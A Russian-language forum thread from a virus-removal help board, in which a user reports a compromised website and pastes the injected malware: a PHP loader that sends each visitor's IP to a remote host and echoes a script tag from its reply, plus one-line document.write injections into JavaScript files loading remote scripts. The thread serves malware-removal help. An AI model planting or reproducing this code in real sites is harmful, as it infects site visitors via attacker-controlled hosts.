# Форум на русском языке  > Лечение и защита сайтов от вирусов  >  Заражен  сайт

## werd wer

В одной из директорий появился файл (прикреплен).*http://us.ua/1396594/

*в файлах появился 

```

<?php
#d308d9#
if (empty($tey)) {
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) {
        function __url_get_contents($remote_url, $timeout)
        {
            if (function_exists('curl_exec')) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $remote_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
                $_url_get_contents_data = curl_exec($ch);
                curl_close($ch);
            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
                $ctx = @stream_context_create(array('http' =>
                    array(
                        'timeout' => $timeout,
                    )
                ));
                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
                $handle = @fopen($remote_url, "r");
                $_url_get_contents_data = @stream_get_contents($handle);
            } else {
                $_url_get_contents_data = __file_get_url_contents($remote_url);
            }
            return $_url_get_contents_data;
        }
    }
    if (!function_exists('__file_get_url_contents')) {
        function __file_get_url_contents($remote_url)
        {
            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                $remote_url, $matches)
            ) {
                $protocol = strtolower($matches[1]);
                $host = $matches[2];
                $path = $matches[3];
            } else {
                // Bad remote_url-format
                return FALSE;
            }
            if ($protocol == "http") {
                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
            } else {
                // Bad protocol
                return FALSE;
            }
            if (!$socket) {
                // Error creating socket
                return FALSE;
            }
            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
            $len_written = @fwrite($socket, $request);
            if ($len_written === FALSE || $len_written != strlen($request)) {
                // Error sending request
                return FALSE;
            }
            $response = "";
            while ([email protected]feof($socket) &&
                ($buf = @fread($socket, 4096)) !== FALSE) {
                $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "\r\n\r\n");
            return substr($response, $end_of_header + 4);
        }
    }
     if (empty($__var_to_echo) && empty($remote_domain)) {
        $_ip = $_SERVER['REMOTE_ADDR'];
        $tey = "http://ipadtips.ru/pbPfWrqX.php";
        $tey = __url_get_contents($tey."?a=$_ip", 1);
        if (strpos($tey, 'http://') === 0) {
            $__var_to_echo = '<script type="text/javascript" src="' . $tey . '?id=1331703"></script>';
            echo $__var_to_echo;
        }
    }
}
#/d308d9#
?>


```

Во всех js файлах появилась строка


```

/*f827eb*/
document.write('<script type="text/javascript" src="http://fgip.ru/xcgFmDy4.php?id=1331712"></script>');
 /*/f827eb*/ 


```

или


```

/*88137e*/
document.write('<script type="text/javascript" src="http://ipadtips.ru/pbPfWrqX.php?id=1331705"></script>');
 /*/88137e*/ 


```

 :Sad:

----------

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

----------


## Info_bot

Уважаемый(ая) *werd wer*, спасибо за обращение на наш форум! 

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

 Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

----------


## thyrex

http://virusinfo.info/pravila.html

----------

